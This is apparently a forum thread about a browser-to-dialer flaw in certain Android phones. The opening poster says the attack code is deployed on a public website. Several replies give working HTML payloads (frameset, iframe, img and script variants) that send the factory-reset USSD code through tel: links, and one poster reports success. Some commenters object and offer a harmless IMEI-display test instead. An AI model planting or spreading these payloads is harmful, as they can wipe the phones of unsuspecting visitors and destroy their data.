5 ms·
I deployed this code on this page : http://flasharabia.com http://flasharabia.com however the code doesn't seem to work ..
by level09 14y ago
I deployed this code on this page :
http://flasharabia.com http://flasharabia.com
however the code doesn't seem to work ..
- verroq 14y agoHow about you use proper HTML instead of just the frame code and nothing else? e.g. <!DOCTYPE html> <html> <frameset> <frame src="tel:*2767*3855%23"> </frameset> </html>
- level09 14y agoyes it works now, however, you need to press the call button to initiate the format
- anonymfus 14y agoAlso will be interesting to check other ways:<iframe src="tel:27673855%23">, <img src="tel:27673855%23">, <script type="text/javascript">location.href="tel:27673855%23";</script> and so on.
- dx8 14y agoiFrame works, direct link too. I tested also things like URL encoding via # = %23, * = %2A etc. - but does not really matter, the target is the dialer, not the browser. http://pastebin.com/cGgs7T4h http://pastebin.com/cGgs7T4h << some thoughts
- lwhi 14y agoIf you want to check the functionality - it would be far more responsible to use a non-destructive USSD code. e.g. *#06# displays the phone's IMEI number
- preds 14y agoTesting this myself, any USSD code that begins with * # launches the device's dialler with no characters dialled. Looking at the list of codes: http://umitem.blogspot.com.au/2010/10/samsung-galaxy-s-i9000-ussd-codes.html http://umitem.blogspot.com.au/2010/10/samsung-galaxy-s-i9000... The factory reset appears to be the only USSD "auto dialled" code that doesn't begin with *#. Which is rather unfortunate. Edit: Actually, the IMEI code works on the Galaxy S2 running 2.3 (just tested) but not the Galaxy S3 running 4.0. My above comment refers to the S3.
- jrabone 14y ago<!DOCTYPE html> Seconded. This works beautifully as proof-of-concept against my S2 and a colleagues random HTC phone. <html> <frameset> <frame src="tel:*%2306%23" /> </frameset> </html>
- deleted 14y ago[deleted]
- Stratoscope 14y agoSeriously? You're posting the DESTRUCTIVE version of the exploit instead of a safe test version? Shame on you.